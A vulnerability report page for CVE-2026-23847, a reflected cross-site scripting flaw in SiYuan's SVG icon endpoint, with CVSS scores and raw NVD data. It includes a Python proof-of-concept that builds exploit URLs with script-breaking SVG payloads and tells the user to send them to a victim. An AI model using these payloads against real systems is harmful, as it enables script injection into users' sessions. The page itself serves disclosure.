Security Vulnerability Report
中文
CVE-2026-23847 CVSS 6.1 MEDIUM

CVE-2026-23847

Published: 2026-01-19 20:15:49
Last Modified: 2026-01-30 15:36:42

Description

SiYuan is a personal knowledge management system. Versions prior to 3.5.4 are vulnerable to reflected cross-site scripting in /api/icon/getDynamicIcon due to unsanitized SVG input. The endpoint generates SVG images for text icons (type=8). The content query parameter is inserted directly into the SVG <text> tag without XML escaping. Since the response Content-Type is image/svg+xml, injecting unescaped tags allows breaking the XML structure and executing JavaScript. Version 3.5.4 patches the issue.]

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:* - VULNERABLE
SiYuan < 3.5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-23847 PoC - Reflected XSS in SiYuan /api/icon/getDynamicIcon # Target: SiYuan < 3.5.4 # Vulnerability: Unsanitized SVG input leading to XSS def exploit_siyuan_xss(target_url, payload): """ Exploit reflected XSS in /api/icon/getDynamicIcon endpoint Args: target_url: Base URL of vulnerable SiYuan instance payload: Malicious JavaScript payload to inject Returns: Exploit URL that triggers the XSS """ exploit_url = f"{target_url}/api/icon/getDynamicIcon?type=8&content={payload}" return exploit_url def generate_xss_payload(): """ Generate XSS payload that breaks SVG structure and executes JS Payload breaks out of <text> tag and injects script """ # Payload that closes the text tag and injects script payload = "</text><script>alert(document.domain)</script><text>" return payload def verify_vulnerability(target_url): """ Verify if the target is vulnerable by checking for XSS reflection """ test_payload = "</text><img src=x onerror=alert(1)>" url = f"{target_url}/api/icon/getDynamicIcon?type=8&content={test_payload}" try: response = requests.get(url, timeout=10) # Check if payload is reflected without escaping if response.headers.get('Content-Type') == 'image/svg+xml': if '</text><img src=x onerror=alert(1)>' in response.text: return True except requests.RequestException: pass return False if __name__ == "__main__": # Example usage target = "http://localhost:6806" payload = generate_xss_payload() exploit_url = exploit_siyuan_xss(target, payload) print(f"[+] Exploit URL: {exploit_url}") print(f"[+] Send this URL to victim to trigger XSS") # Verify if verify_vulnerability(target): print("[+] Target is VULNERABLE") else: print("[-] Target may not be vulnerable or patched")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23847", "sourceIdentifier": "[email protected]", "published": "2026-01-19T20:15:49.393", "lastModified": "2026-01-30T15:36:42.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. Versions prior to 3.5.4 are vulnerable to reflected cross-site scripting in /api/icon/getDynamicIcon due to unsanitized SVG input. The endpoint generates SVG images for text icons (type=8). The content query parameter is inserted directly into the SVG <text> tag without XML escaping. Since the response Content-Type is image/svg+xml, injecting unescaped tags allows breaking the XML structure and executing JavaScript. Version 3.5.4 patches the issue.]"}, {"lang": "es", "value": "SiYuan es un sistema de gestión de conocimiento personal. Las versiones anteriores a la 3.5.4 son vulnerables a cross-site scripting reflejado en /API/icon/getDynamicIcon debido a una entrada SVG no saneada. El endpoint genera imágenes SVG para iconos de texto (type=8). El parámetro de consulta content se inserta directamente en la etiqueta SVG sin escape XML. Dado que el Content-Type de la respuesta es image/svg+xml, la inyección de etiquetas sin escape permite romper la estructura XML y ejecutar JavaScript. La versión 3.5.4 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.4", "matchCriteriaId": "D3F308D6-1396-4488-9382-0EE485C9289C"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/commit/5c0cc375b47567e15edd2119066b09bb0aa18777", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/issues/16844", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-w836-5gpm-7r93", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Patch"]}]}}